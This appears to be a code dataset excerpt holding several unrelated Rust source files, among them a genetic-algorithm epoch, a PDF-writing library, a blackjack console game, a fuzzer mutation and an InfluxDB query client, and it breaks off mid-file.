text stringlengths 8 4.13M |
|---|
use population::LazyUnit;
use rand::Rng;
use std::cmp::Ordering;
use unit::Unit;
pub trait Epoch<T>
where
T: Unit,
{
fn epoch(&self, active_stack: &mut Vec<LazyUnit<T>>, size: usize, rng: &mut impl Rng) -> bool;
}
//--------------------------------------------------------------------------
/// An epoch that allows units to breed and mutate without harsh culling.
/// It's important to sometimes allow 'weak' units to produce generations
/// that might escape local peaks in certain dimensions.
#[derive(Debug)]
pub struct DefaultEpoch {
breed_factor: f64,
survival_factor: f64,
}
impl DefaultEpoch {
pub fn new(breed_factor: f64, survival_factor: f64) -> DefaultEpoch{
DefaultEpoch{breed_factor, survival_factor}
}
}
impl Default for DefaultEpoch{
fn default() -> Self {
DefaultEpoch::new(0.2, 0.5)
}
}
impl<T: Unit> Epoch<T> for DefaultEpoch {
fn epoch(&self, active_stack: &mut Vec<LazyUnit<T>>, size: usize, rng: &mut impl Rng) -> bool {
// We want to sort such that highest fitness units are at the
// end.
active_stack.sort_by(|a, b| {
a.fitness_lazy()
.partial_cmp(&b.fitness_lazy())
.unwrap_or(Ordering::Equal)
});
let units = active_stack;
let max_size = size;
assert!(!units.is_empty());
// breed_factor dicates how large a percentage of the population will be
// able to breed.
let breed_up_to = (self.breed_factor * (units.len() as f64)) as usize;
let mut breeders: Vec<LazyUnit<T>> = Vec::new();
while let Some(unit) = units.pop() {
breeders.push(unit);
if breeders.len() == breed_up_to {
break;
}
}
units.clear();
// The strongest half of our breeders will survive each epoch. Always at
// least one.
let surviving_parents = (breeders.len() as f64 * self.survival_factor).ceil() as usize;
for i in 0..max_size - surviving_parents {
let rs = rng.gen_range(0, breeders.len());
units.push(LazyUnit::from(
breeders[i % breeders.len()]
.unit
.breed_with(&breeders[rs].unit),
));
}
// Move our survivors into the new generation.
units.append(&mut breeders.drain(0..surviving_parents).collect());
true
}
}
|
use crate::{
context::CommandRegistry,
deserializer::ConfigDeserializer,
error::ShellError,
evaluate::{CallInfo, Value},
shell::Shell,
signature::Signature,
};
use alloc::{sync::Arc, vec::Vec};
use core::sync::atomic::AtomicBool;
use serde::Deserialize;
mod cd;
mod ls;
mod mkdir;
mod classified;
pub use cd::{Cd, CdArgs};
pub use ls::{Ls, LsArgs};
pub use mkdir::{MkDir, MkDirArgs};
pub use classified::{run_external_command, run_internal_command};
pub trait Command: Send + Sync {
fn name(&self) -> &str;
fn signature(&self) -> Signature {
Signature::new(self.name()).desc(self.usage())
}
fn usage(&self) -> &str;
fn run(
&self,
call_info: CallInfo,
input: Option<Vec<Value>>,
ctrl_c: Arc<AtomicBool>,
shell: Arc<dyn Shell>,
registry: &CommandRegistry,
) -> Result<Option<Vec<Value>>, ShellError>;
fn is_binary(&self) -> bool {
false
}
}
pub type CommandRef = Arc<dyn Command>;
pub struct RunnableContext {
pub input: Option<Vec<Value>>,
pub shell: Arc<dyn Shell>,
pub ctrl_c: Arc<AtomicBool>,
}
pub type CommandCallback<T> = fn(T, &RunnableContext) -> Result<Option<Vec<Value>>, ShellError>;
pub struct RunnableArgs<T> {
args: T,
context: RunnableContext,
callback: CommandCallback<T>,
}
impl<T> RunnableArgs<T> {
#[inline]
pub fn run(self) -> Result<Option<Vec<Value>>, ShellError> {
(self.callback)(self.args, &self.context)
}
}
impl CallInfo {
pub(crate) fn process<'de, T: Deserialize<'de>>(
&self,
shell: &Arc<dyn Shell>,
ctrl_c: Arc<AtomicBool>,
callback: CommandCallback<T>,
input: Option<Vec<Value>>,
) -> Result<RunnableArgs<T>, ShellError> {
let mut deserializer = ConfigDeserializer::from_call_info(self.clone());
Ok(RunnableArgs {
args: T::deserialize(&mut deserializer)?,
context: RunnableContext {
shell: shell.clone(),
ctrl_c,
input,
},
callback,
})
}
}
|
pub(crate) mod grammar {
include!(concat!(env!("OUT_DIR"), "/grammar.rs"));
}
|
use rocket_contrib::json::Json;
use crate::jobs::{models, service};
#[get("/?<search>&<location>", format = "json")]
pub fn get(
search: String,
location: String,
) -> Result<Json<Vec<models::Job>>, Box<dyn std::error::Error>> {
let source = format!(
"https://jobs.github.com/positions.json?description={}&location={}",
search, location
);
let jobs = service::get_jobs(source.as_str())?;
Ok(Json(jobs))
}
|
//! A library for creating pdf files based on [pdf-canvas](https://github.com/kaj/rust-pdf).
//!
//! Currently, simple vector graphics and text set in the 14 built-in fonts are
//! supported. The main entry point of the crate is the [struct
//! Pdf](struct.Pdf.html), representing a PDF file being written.
//! # Example
//!
//! ```
//! #[macro_use]
//! extern crate simple_pdf;
//!
//! use simple_pdf::graphicsstate::Color;
//! use simple_pdf::units::{Points, UserSpace, LengthUnit};
//! use simple_pdf::{BuiltinFont, FontSource, Pdf};
//! use std::io;
//!
//! fn main() -> io::Result<()> {
//! let mut document = Pdf::create("example.pdf")?;
//! // The 14 builtin fonts are available
//! let font = BuiltinFont::Times_Roman;
//!
//! // Add a page to the document. This page will be 180 by 240 pt large.
//! document.render_page(pt!(180), pt!(240), |canvas| {
//! // This closure defines the content of the page
//! let hello = "Hello World!";
//! let w = font.text_width(pt!(24), hello) + pt!(8);
//!
//! // Some simple graphics
//! canvas.set_stroke_color(Color::rgb(0, 0, 248))?;
//! canvas.rectangle(pt!(90) - w / 2, pt!(194), w, pt!(26))?;
//! canvas.stroke()?;
//!
//! // Some text
//! canvas.center_text(pt!(90), pt!(200), &font, pt!(24), hello)
//! })?;
//! // Write all pending content, including the trailer and index
//! document.finish()
//! }
//! ```
//!
//! To use this library you need to add it as a dependency in your
//! `Cargo.toml`:
//!
//! ```toml
//! [dependencies]
//! simple-pdf = "0.1"
//! ```
#![deny(missing_docs)]
#[macro_use]
extern crate lazy_static;
extern crate time;
use std::collections::{BTreeMap, HashMap};
use std::fmt;
use std::fs::File;
use std::io::{BufWriter, Result, Seek, SeekFrom, Write};
use std::mem;
#[macro_use]
pub mod units;
use units::{LengthUnit, UserSpace};
mod fontsource;
use fontsource::Font;
pub use fontsource::{BuiltinFont, FontSource};
mod fontref;
pub use fontref::FontRef;
mod fontmetrics;
pub use fontmetrics::FontMetrics;
mod encoding;
pub use encoding::{Encoding, FontEncoding};
pub mod graphicsstate;
mod outline;
use outline::OutlineItem;
mod canvas;
pub use canvas::Canvas;
mod textobject;
pub use textobject::{RenderMode, TextObject};
const DEFAULT_BUF_SIZE: usize = 65_536;
const ROOT_OBJECT_ID: usize = 1;
const PAGE_OBJECT_ID: usize = 2;
// sorted manually alphabetical
#[derive(Debug, Ord, PartialOrd, PartialEq, Eq, Hash, Copy, Clone)]
enum MetaData {
Author,
CreationDate,
Creator,
Keywords,
ModDate,
Producer,
Subject,
Title,
}
impl fmt::Display for MetaData {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
let meta = match *self {
MetaData::Author => "Author",
MetaData::CreationDate => "CreationDate",
MetaData::Creator => "Creator",
MetaData::Keywords => "Keywords",
MetaData::ModDate => "ModDate",
MetaData::Producer => "Producer",
MetaData::Subject => "Subject",
MetaData::Title => "Title",
};
write!(f, "{}", meta)
}
}
/// The top-level object for writing a PDF.
///
/// A PDF file is created with the `create` or `new` methods. Some metadata can
/// be stored with `set_foo` methods, and pages are appended with the
/// `render_page` method.
/// Don't forget to call `finish` when done, to write the document trailer,
/// without it the written file won't be a proper PDF.
pub struct Pdf {
output: BufWriter<File>,
object_offsets: Vec<i64>,
page_object_ids: Vec<usize>,
font_object_ids: HashMap<Font, usize>,
outline: Vec<OutlineItem>,
info: BTreeMap<MetaData, String>,
}
impl Pdf {
/// Create a new PDF document as a new file with given filename.
pub fn create(filename: &str) -> Result<Pdf> {
let file = File::create(filename)?;
Pdf::new(file)
}
/// Create a new PDF document, writing to `output`.
pub fn new(mut output: File) -> Result<Pdf> {
// TODO Maybe use a lower version? Possibly decide by features used?
output.write_all(b"%PDF-1.7\n%\xB5\xED\xAE\xFB\n")?;
Ok(Pdf {
output: BufWriter::with_capacity(DEFAULT_BUF_SIZE, output),
// Object ID 0 is special in PDF.
// We reserve IDs 1 and 2 for the catalog and page tree.
object_offsets: vec![-1, -1, -1],
page_object_ids: Vec::new(),
font_object_ids: HashMap::new(),
outline: Vec::new(),
info: BTreeMap::new(),
})
}
/// Set metadata: the document's title.
pub fn set_title(&mut self, title: &str) {
self.info.insert(MetaData::Title, title.to_string());
}
/// Set metadata: the name of the person who created the document.
pub fn set_author(&mut self, author: &str) {
self.info.insert(MetaData::Author, author.to_string());
}
/// Set metadata: the subject of the document.
pub fn set_subject(&mut self, subject: &str) {
self.info.insert(MetaData::Subject, subject.to_string());
}
/// Set metadata: keywords associated with the document.
pub fn set_keywords(&mut self, keywords: &str) {
self.info.insert(MetaData::Keywords, keywords.to_string());
}
/// Set metadata: If the document was converted to PDF from another format,
/// the name of the conforming product that created the original document
/// from which it was converted.
pub fn set_creator(&mut self, creator: &str) {
self.info.insert(MetaData::Creator, creator.to_string());
}
/// Set metadata: If the document was converted to PDF from another format,
/// the name of the conforming product that converted it to PDF.
pub fn set_producer(&mut self, producer: &str) {
self.info.insert(MetaData::Producer, producer.to_string());
}
/// Return the current read/write position in the output file.
fn tell(&mut self) -> Result<u64> {
self.output.seek(SeekFrom::Current(0))
}
/// Create a new page in the PDF document.
///
/// The page will be `width` x `height` points large, and the actual
/// content of the page will be created by the function `render_contents` by
/// applying drawing methods on the Canvas.
pub fn render_page<F, T>(
&mut self,
width: UserSpace<T>,
height: UserSpace<T>,
render_contents: F,
) -> Result<()>
where
F: FnOnce(&mut Canvas) -> Result<()>,
T: LengthUnit,
{
let (content_object_id, content_length, fonts, outline) = self
.write_new_object(move |content_object_id, pdf| {
// Guess the ID of the next object. (We’ll assert it below.)
writeln!(
pdf.output,
"<< /Length {} 0 R >>\n\
stream",
content_object_id + 1
)?;
let start = pdf.tell()?;
writeln!(pdf.output, "/DeviceRGB cs /DeviceRGB CS")?;
let mut fonts = HashMap::new();
let mut outline = Vec::new();
render_contents(&mut Canvas::new(
&mut pdf.output,
&mut fonts,
&mut outline,
))?;
let end = pdf.tell()?;
writeln!(pdf.output, "endstream")?;
Ok((content_object_id, end - start, fonts, outline))
})?;
self.write_new_object(|object_id_length, pdf| {
assert!(object_id_length == content_object_id + 1);
writeln!(pdf.output, "{}", content_length)
})?;
let mut font_oids = NamedRefs::with_capacity(fonts.len());
for (source, fontref) in fonts {
if let Some(&object_id) = self.font_object_ids.get(&source) {
font_oids.insert(fontref, object_id);
} else {
let object_id = source.write_object(self)?;
font_oids.insert(fontref, object_id);
self.font_object_ids.insert(source, object_id);
}
}
let page_oid =
self.write_page_dict(content_object_id, width, height, &font_oids)?;
// Take the outline from this page, mark them with the page ref,
// and save them for the document outline.
for mut item in outline {
item.set_page(page_oid);
self.outline.push(item);
}
self.page_object_ids.push(page_oid);
Ok(())
}
fn write_page_dict<T: LengthUnit>(
&mut self,
content_oid: usize,
width: UserSpace<T>,
height: UserSpace<T>,
font_oids: &NamedRefs,
) -> Result<usize> {
self.write_new_object(|page_oid, pdf| {
writeln!(
pdf.output,
"<< /Type /Page\n \
/Parent {parent} 0 R\n \
/Resources << /Font << {fonts}>> >>\n \
/MediaBox [0 0 {width} {height}]\n \
/Contents {content} 0 R\n\
>>",
parent = PAGE_OBJECT_ID,
fonts = font_oids,
width = width,
height = height,
content = content_oid
).map(|_| page_oid)
})
}
fn write_new_object<F, T>(&mut self, write_content: F) -> Result<T>
where
F: FnOnce(usize, &mut Pdf) -> Result<T>,
{
let id = self.object_offsets.len();
let (result, offset) =
self.write_object(id, |pdf| write_content(id, pdf))?;
self.object_offsets.push(offset);
Ok(result)
}
fn write_object_with_id<F, T>(
&mut self,
id: usize,
write_content: F,
) -> Result<T>
where
F: FnOnce(&mut Pdf) -> Result<T>,
{
assert!(self.object_offsets[id] == -1);
let (result, offset) = self.write_object(id, write_content)?;
self.object_offsets[id] = offset;
Ok(result)
}
fn write_object<F, T>(
&mut self,
id: usize,
write_content: F,
) -> Result<(T, i64)>
where
F: FnOnce(&mut Pdf) -> Result<T>,
{
// `as i64` here would overflow for PDF files bigger than 2^63 bytes
let offset = self.tell()? as i64;
writeln!(self.output, "{} 0 obj", id)?;
let result = write_content(self)?;
writeln!(self.output, "endobj")?;
Ok((result, offset))
}
/// Write out the document trailer. The trailer consists of the pages
/// object, the root object, the xref list, the trailer object and the
/// startxref position.
pub fn finish(mut self) -> Result<()> {
self.write_object_with_id(PAGE_OBJECT_ID, |pdf| {
write!(
pdf.output,
"<< /Type /Pages\n \
/Count {count}\n \
/Kids [ ",
count = pdf.page_object_ids.len()
)?;
for page in &pdf.page_object_ids {
write!(pdf.output, "{} 0 R ", page)?;
}
writeln!(pdf.output, "]\n>>")
})?;
let info_id = if !self.info.is_empty() {
let info = mem::replace(&mut self.info, BTreeMap::new());
self.write_new_object(|page_object_id, pdf| {
write!(pdf.output, "<<")?;
for (meta, value) in info {
writeln!(pdf.output, " /{} ({})", meta, value)?;
}
if let Ok(now) = time::strftime("%Y%m%d%H%M%S%z", &time::now())
{
write!(
pdf.output,
" /{created} (D:{now})\n \
/{modified} (D:{now})",
now = now,
created = MetaData::CreationDate,
modified = MetaData::ModDate
)?;
}
writeln!(pdf.output, ">>")?;
Ok(Some(page_object_id))
})?
} else {
None
};
let outlines_id = self.write_outline()?;
self.write_object_with_id(ROOT_OBJECT_ID, |pdf| {
writeln!(
pdf.output,
"<< /Type /Catalog\n \
/Pages {} 0 R",
PAGE_OBJECT_ID
)?;
if let Some(outlines_id) = outlines_id {
writeln!(pdf.output, "/Outlines {} 0 R", outlines_id)?;
}
writeln!(pdf.output, ">>")
})?;
let startxref = self.tell()?;
writeln!(
self.output,
"xref\n\
0 {}\n\
0000000000 65535 f",
self.object_offsets.len()
)?;
// Object 0 (above) is special
for &offset in self.object_offsets.iter().skip(1) {
assert!(offset >= 0);
writeln!(self.output, "{:010} 00000 n", offset)?;
}
writeln!(
self.output,
"trailer\n\
<< /Size {size}\n \
/Root {root} 0 R",
size = self.object_offsets.len(),
root = ROOT_OBJECT_ID
)?;
if let Some(id) = info_id {
writeln!(self.output, " /Info {} 0 R", id)?;
}
writeln!(
self.output,
">>\n\
startxref\n\
{}\n\
%%EOF",
startxref
)
}
fn write_outline(&mut self) -> Result<Option<usize>> {
if self.outline.is_empty() {
return Ok(None);
}
let parent_id = self.object_offsets.len();
self.object_offsets.push(-1);
let count = self.outline.len();
let mut first_id = 0;
let mut last_id = 0;
let outline = mem::replace(&mut self.outline, Vec::new());
for (i, item) in outline.iter().enumerate() {
let (is_first, is_last) = (i == 0, i == count - 1);
let id = self.write_new_object(|object_id, pdf| {
item.write_dictionary(
&mut pdf.output,
parent_id,
if is_first { None } else { Some(object_id - 1) },
if is_last { None } else { Some(object_id + 1) },
).and(Ok(object_id))
})?;
if is_first {
first_id = id;
}
if is_last {
last_id = id;
}
}
self.write_object_with_id(parent_id, |pdf| {
writeln!(
pdf.output,
"<< /Type /Outlines\n \
/First {first} 0 R\n \
/Last {last} 0 R\n \
/Count {count}\n\
>>",
last = last_id,
first = first_id,
count = count
)
})?;
Ok(Some(parent_id))
}
}
struct NamedRefs {
oids: HashMap<FontRef, usize>,
}
impl NamedRefs {
fn with_capacity(capacity: usize) -> Self {
NamedRefs {
oids: HashMap::with_capacity(capacity),
}
}
fn insert(&mut self, name: FontRef, object_id: usize) -> Option<usize> {
self.oids.insert(name, object_id)
}
}
impl fmt::Display for NamedRefs {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
for (name, id) in &self.oids {
write!(f, "{} {} 0 R ", name, id)?;
}
Ok(())
}
}
|
use argparse::{ArgumentParser, Store};
use egraph_cli::{read_graph, write_graph};
use petgraph::prelude::*;
use petgraph_drawing::Drawing;
use petgraph_layout_sgd::{Sgd, SparseSgd};
use rand::thread_rng;
fn parse_args(input_path: &mut String, output_path: &mut String) {
let mut parser = ArgumentParser::new();
parser
.refer(input_path)
.add_argument("input", Store, "input file path")
.required();
parser
.refer(output_path)
.add_argument("output", Store, "output file path")
.required();
parser.parse_args_or_exit();
}
fn layout(
graph: &Graph<Option<()>, Option<()>, Undirected>,
coordinates: &mut Drawing<NodeIndex, f32>,
) {
let mut rng = thread_rng();
let mut sgd = SparseSgd::new_with_rng(graph, |_| 30., 281, &mut rng);
let mut scheduler = sgd.scheduler(867, 0.1);
scheduler.run(&mut |eta| {
sgd.shuffle(&mut rng);
sgd.apply(coordinates, eta);
});
}
fn main() {
let mut input_path = "".to_string();
let mut output_path = "".to_string();
parse_args(&mut input_path, &mut output_path);
let (input_graph, mut coordinates) = read_graph(&input_path);
layout(&input_graph, &mut coordinates);
write_graph(&input_graph, &coordinates, &output_path);
}
|
use super::bytesio_errors::{BytesIOError, BytesIOErrorValue};
use bytes::Bytes;
use bytes::BytesMut;
use std::time::Duration;
use tokio::net::TcpStream;
use tokio::time::timeout;
use tokio_stream::StreamExt;
use futures::SinkExt;
use tokio_util::codec::BytesCodec;
use tokio_util::codec::Framed;
pub struct BytesIO {
stream: Framed<TcpStream, BytesCodec>,
//timeout: Duration,
}
impl BytesIO {
pub fn new(stream: TcpStream) -> Self {
Self {
stream: Framed::new(stream, BytesCodec::new()),
// timeout: ms,
}
}
pub async fn write(&mut self, bytes: Bytes) -> Result<(), BytesIOError> {
self.stream.send(bytes).await?;
Ok(())
}
pub async fn read_timeout(&mut self, duration: Duration) -> Result<BytesMut, BytesIOError> {
let message = timeout(duration, self.stream.next()).await;
match message {
Ok(bytes) => {
if let Some(data) = bytes {
match data {
Ok(bytes) => {
return Ok(bytes);
}
Err(err) => {
return Err(BytesIOError {
value: BytesIOErrorValue::IOError(err),
})
}
}
} else {
return Err(BytesIOError {
value: BytesIOErrorValue::NoneReturn,
});
}
}
Err(_) => {
return Err(BytesIOError {
value: BytesIOErrorValue::TimeoutError,
})
}
}
}
pub async fn read(&mut self) -> Result<BytesMut, BytesIOError> {
let message = self.stream.next().await;
match message {
Some(data) => match data {
Ok(bytes) => {
// for k in bytes.clone(){
// print!("{:02X} ",k);
// }
// print!("\n");
// print!("\n");
return Ok(bytes);
}
Err(err) => {
return Err(BytesIOError {
value: BytesIOErrorValue::IOError(err),
})
}
},
None => {
return Err(BytesIOError {
value: BytesIOErrorValue::NoneReturn,
})
}
}
// let data = self.framed_read.next().await;
// match data {
// Some(result) => match result {
// Ok(bytes) => {
// return Ok(bytes);
// }
// Err(err) => {
// return Err(NetIOError {
// value: NetIOErrorValue::IOError(err),
// })
// }
// },
// None => {
// return Err(NetIOError {
// value: NetIOErrorValue::NoneReturn,
// })
// }
// }
}
}
|
use super::VecMutator;
use crate::mutators::mutations::{Mutation, RevertMutation};
use crate::mutators::CrossoverStep;
use crate::{Mutator, SubValueProvider};
pub struct CrossoverReplaceElement;
#[derive(Clone)]
pub struct CrossoverReplaceElementStep<T> {
crossover_steps: Vec<CrossoverStep<T>>,
}
pub enum ConcreteCrossoverReplaceElement<T> {
Random(usize),
ReplaceElement { el: T, cplx: f64, idx: usize },
}
pub enum RevertCrossoverReplaceElement<T, UT> {
Random(UT, usize),
ReplaceElement { el: T, idx: usize },
}
impl<T, M> RevertMutation<Vec<T>, VecMutator<T, M>> for RevertCrossoverReplaceElement<T, M::UnmutateToken>
where
T: Clone + 'static,
M: Mutator<T>,
{
#[no_coverage]
fn revert(
self,
mutator: &VecMutator<T, M>,
value: &mut Vec<T>,
cache: &mut <VecMutator<T, M> as Mutator<Vec<T>>>::Cache,
) {
match self {
RevertCrossoverReplaceElement::Random(token, idx) => {
mutator.m.unmutate(&mut value[idx], &mut cache.inner[idx], token);
}
RevertCrossoverReplaceElement::ReplaceElement { mut el, idx } => std::mem::swap(&mut value[idx], &mut el),
}
}
}
impl<T, M> Mutation<Vec<T>, VecMutator<T, M>> for CrossoverReplaceElement
where
T: Clone + 'static,
M: Mutator<T>,
{
type RandomStep = !;
type Step = CrossoverReplaceElementStep<T>;
type Concrete<'a> = ConcreteCrossoverReplaceElement<T>;
type Revert = RevertCrossoverReplaceElement<T, M::UnmutateToken>;
#[no_coverage]
fn default_random_step(&self, _mutator: &VecMutator<T, M>, _value: &Vec<T>) -> Option<Self::RandomStep> {
None
}
#[no_coverage]
fn random<'a>(
_mutator: &VecMutator<T, M>,
_value: &Vec<T>,
_cache: &<VecMutator<T, M> as Mutator<Vec<T>>>::Cache,
_random_step: &Self::RandomStep,
_max_cplx: f64,
) -> Self::Concrete<'a> {
unreachable!()
}
#[no_coverage]
fn default_step(
&self,
mutator: &VecMutator<T, M>,
value: &Vec<T>,
_cache: &<VecMutator<T, M> as Mutator<Vec<T>>>::Cache,
) -> Option<Self::Step> {
if mutator.m.global_search_space_complexity() == 0. {
return None;
}
if value.is_empty() {
None
} else {
Some(CrossoverReplaceElementStep {
crossover_steps: vec![CrossoverStep::default(); value.len()],
})
}
}
#[no_coverage]
fn from_step<'a>(
mutator: &VecMutator<T, M>,
value: &Vec<T>,
cache: &<VecMutator<T, M> as Mutator<Vec<T>>>::Cache,
step: &'a mut Self::Step,
subvalue_provider: &dyn SubValueProvider,
max_cplx: f64,
) -> Option<Self::Concrete<'a>> {
let value_cplx = mutator.complexity(value, cache);
let spare_cplx = max_cplx - value_cplx;
let choice = mutator.rng.usize(..value.len());
let step = &mut step.crossover_steps[choice];
if let Some((el, el_cplx)) = step.get_next_subvalue(subvalue_provider, spare_cplx) {
if mutator.m.is_valid(el) {
let el = el.clone();
return Some(ConcreteCrossoverReplaceElement::ReplaceElement {
el,
cplx: el_cplx,
idx: choice,
});
}
}
Some(ConcreteCrossoverReplaceElement::Random(choice))
}
#[no_coverage]
fn apply<'a>(
mutation: Self::Concrete<'a>,
mutator: &VecMutator<T, M>,
value: &mut Vec<T>,
cache: &mut <VecMutator<T, M> as Mutator<Vec<T>>>::Cache,
_subvalue_provider: &dyn SubValueProvider,
max_cplx: f64,
) -> (Self::Revert, f64) {
match mutation {
ConcreteCrossoverReplaceElement::Random(idx) => {
let old_cplx = mutator.complexity(value, cache);
let old_el_cplx = mutator.m.complexity(&value[idx], &cache.inner[idx]);
let spare_cplx = max_cplx - (old_cplx - old_el_cplx);
let (token, new_el_cplx) = mutator
.m
.random_mutate(&mut value[idx], &mut cache.inner[idx], spare_cplx);
(
RevertCrossoverReplaceElement::Random(token, idx),
mutator.complexity_from_inner(cache.sum_cplx - old_el_cplx + new_el_cplx, value.len()),
)
}
ConcreteCrossoverReplaceElement::ReplaceElement { mut el, cplx, idx } => {
let old_el_cplx = mutator.m.complexity(&value[idx], &cache.inner[idx]);
std::mem::swap(&mut value[idx], &mut el);
let r = RevertCrossoverReplaceElement::ReplaceElement { el, idx };
(
r,
mutator.complexity_from_inner(cache.sum_cplx - old_el_cplx + cplx, value.len()),
)
}
}
}
}
|
use std::io;
use crate::game::{
blackjack::BlackJack,
cards,
player::Player,
status::{GameRoundResult, State},
};
pub struct BlackJackConsole {
black_jack: BlackJack,
}
impl BlackJackConsole {
pub fn new(player_name: String, dealer_name: String, soft_points: u8) -> BlackJackConsole {
BlackJackConsole {
black_jack: BlackJack::new(
Player::new(player_name),
Player::new(dealer_name),
soft_points,
),
}
}
fn game_round_loop(&mut self) {
loop {
match *self.black_jack.get_state() {
State::GameRoundEnd => break,
_ => {
self.show_player_card_message();
match BlackJackConsole::ask_player_play_to_hit_or_stand() {
true => self.black_jack.player_hit_card(),
false => self.black_jack.player_stand(),
}
}
}
}
}
fn game_session_loop(&mut self) {
loop {
match *self.black_jack.get_state() {
State::GameEnd => break,
_ => match BlackJackConsole::ask_player_play() {
true => {
self.black_jack.start_game_round();
self.game_round_loop();
self.show_player_card_message();
self.show_game_round_result_message();
}
false => self.black_jack.end_game(),
},
}
}
}
pub fn play(&mut self) {
self.show_greetings();
self.black_jack.start_game();
self.game_session_loop();
self.show_exit_message();
}
fn ask_player_play_to_hit_or_stand() -> bool {
println!("Press 'h' for Hit and 's' for Stand");
let stdin = io::stdin();
let input = &mut String::new();
input.clear();
stdin.read_line(input).expect("ooops");
let choiced = match input.trim() {
"h" | "H" => true,
"s" | "S" => false,
_ => BlackJackConsole::ask_player_play_to_hit_or_stand(),
};
choiced
}
fn ask_player_play() -> bool {
println!("Want to continue play? Press 'y' for yes and 'n' for no.");
let stdin = io::stdin();
let input = &mut String::new();
input.clear();
stdin.read_line(input).expect("oops");
let choiced = match input.trim() {
"n" | "N" => false,
"y" | "Y" => true,
_ => BlackJackConsole::ask_player_play(),
};
choiced
}
fn show_greetings(&mut self) {
println!(
r#"
---------------
Black Jack Game
---------------
"#
);
println!("Welcome {}", self.black_jack.get_player().get_name());
println!(
"I am will be dealer. My name is {}.\n",
self.black_jack.get_dealer().get_name()
);
}
fn show_exit_message(&mut self) {
println!(
"Thanks for playing. Bye {}",
self.black_jack.get_player().get_name()
);
}
fn show_player_card_message(&mut self) {
let player_cards: &Vec<cards::Card> = self.black_jack.get_player().get_cards();
let message = player_cards.iter().fold(String::new(), |mut acc, x| {
acc.push_str(&format!(
"{} {}\n",
cards::get_card_name(x),
cards::get_card_value(x)
));
acc
});
println!("{}", message);
}
fn show_game_round_result_message(&mut self) {
println!("-----Game Result-----");
let winner = match self.black_jack.get_winner() {
GameRoundResult::PlayerBusted => "Player busted. Dealer Wins".to_string(),
GameRoundResult::DealerBusted => "Dealer busted. Player Wins".to_string(),
GameRoundResult::PlayerWon => format!(
"Player won. Player:{} Dealer:{}",
self.black_jack.get_player().get_cards_points(),
self.black_jack.get_dealer().get_cards_points()
),
GameRoundResult::DealerWon => format!(
"Dealer won. Dealer:{} Player:{}",
self.black_jack.get_dealer().get_cards_points(),
self.black_jack.get_player().get_cards_points()
),
GameRoundResult::Draw => format!(
"Draw. Dealer:{} Player:{}",
self.black_jack.get_dealer().get_cards_points(),
self.black_jack.get_player().get_cards_points()
),
};
println!("{}", winner);
}
}
|
//! Query
//!
//! Query InfluxDB using InfluxQL or Flux Query
use std::collections::BTreeMap;
use std::str::FromStr;
use crate::{Client, Http, RequestError, ReqwestProcessing, Serializing};
use base64::decode;
use chrono::DateTime;
use csv::StringRecord;
use fallible_iterator::FallibleIterator;
use go_parse_duration::parse_duration;
use influxdb2_structmap::{FromMap, GenericMap};
use influxdb2_structmap::value::Value;
use reqwest::{Method, StatusCode};
use snafu::ResultExt;
use crate::models::{
AnalyzeQueryResponse, AstResponse, FluxSuggestion, FluxSuggestions, LanguageRequest, Query,
};
impl Client {
/// Get Query Suggestions
pub async fn query_suggestions(&self) -> Result<FluxSuggestions, RequestError> {
let req_url = format!("{}/api/v2/query/suggestions", self.url);
let response = self
.request(Method::GET, &req_url)
.send()
.await
.context(ReqwestProcessing)?;
match response.status() {
StatusCode::OK => Ok(response
.json::<FluxSuggestions>()
.await
.context(ReqwestProcessing)?),
status => {
let text = response.text().await.context(ReqwestProcessing)?;
Http { status, text }.fail()?
}
}
}
/// Query Suggestions with name
pub async fn query_suggestions_name(&self, name: &str) -> Result<FluxSuggestion, RequestError> {
let req_url = format!(
"{}/api/v2/query/suggestions/{name}",
self.url,
name = crate::common::urlencode(name),
);
let response = self
.request(Method::GET, &req_url)
.send()
.await
.context(ReqwestProcessing)?;
match response.status() {
StatusCode::OK => Ok(response
.json::<FluxSuggestion>()
.await
.context(ReqwestProcessing)?),
status => {
let text = response.text().await.context(ReqwestProcessing)?;
Http { status, text }.fail()?
}
}
}
/// Query
pub async fn query<T: FromMap>(
&self,
query: Option<Query>
) -> Result<Vec<T>, RequestError> {
let req_url = format!("{}/api/v2/query", self.url);
let body = serde_json::to_string(&query.unwrap_or_default()).context(Serializing)?;
let response = self
.request(Method::POST, &req_url)
.header("Accepting-Encoding", "identity")
.header("Content-Type", "application/json")
.query(&[("org", &self.org)])
.body(body)
.send()
.await
.context(ReqwestProcessing)?;
match response.status() {
StatusCode::OK => {
let text = response.text().await.unwrap();
let qtr = QueryTableResult::new(&text[..]);
let mut r = vec![];
for res in qtr.iterator() {
r.push(T::from_genericmap(res?.values));
}
Ok(r)
},
status => {
let text = response.text().await.context(ReqwestProcessing)?;
Http { status, text }.fail()?
}
}
}
/// Analyze Query
pub async fn query_analyze(
&self,
query: Option<Query>,
) -> Result<AnalyzeQueryResponse, RequestError> {
let req_url = format!("{}/api/v2/query/analyze", self.url);
let response = self
.request(Method::POST, &req_url)
.header("Content-Type", "application/json")
.body(serde_json::to_string(&query.unwrap_or_default()).context(Serializing)?)
.send()
.await
.context(ReqwestProcessing)?;
match response.status() {
StatusCode::OK => Ok(response
.json::<AnalyzeQueryResponse>()
.await
.context(ReqwestProcessing)?),
status => {
let text = response.text().await.context(ReqwestProcessing)?;
Http { status, text }.fail()?
}
}
}
/// Get Query AST Repsonse
pub async fn query_ast(
&self,
language_request: Option<LanguageRequest>,
) -> Result<AstResponse, RequestError> {
let req_url = format!("{}/api/v2/query/ast", self.url);
let response = self
.request(Method::POST, &req_url)
.header("Content-Type", "application/json")
.body(
serde_json::to_string(&language_request.unwrap_or_default())
.context(Serializing)?,
)
.send()
.await
.context(ReqwestProcessing)?;
match response.status() {
StatusCode::OK => Ok(response
.json::<AstResponse>()
.await
.context(ReqwestProcessing)?),
status => {
let text = response.text().await.context(ReqwestProcessing)?;
Http { status, text }.fail()?
}
}
}
}
#[derive(Clone, Copy, Debug, PartialEq)]
enum DataType {
String,
Double,
Bool,
Long,
UnsignedLong,
Duration,
Base64Binary,
TimeRFC,
}
impl FromStr for DataType {
type Err = RequestError;
fn from_str(input: &str) -> Result<DataType, RequestError> {
match input {
"string" => Ok(DataType::String),
"double" => Ok(DataType::Double),
"boolean" => Ok(DataType::Bool),
"long" => Ok(DataType::Long),
"unsignedLong" => Ok(DataType::UnsignedLong),
"duration" => Ok(DataType::Duration),
"base64Binary" => Ok(DataType::Base64Binary),
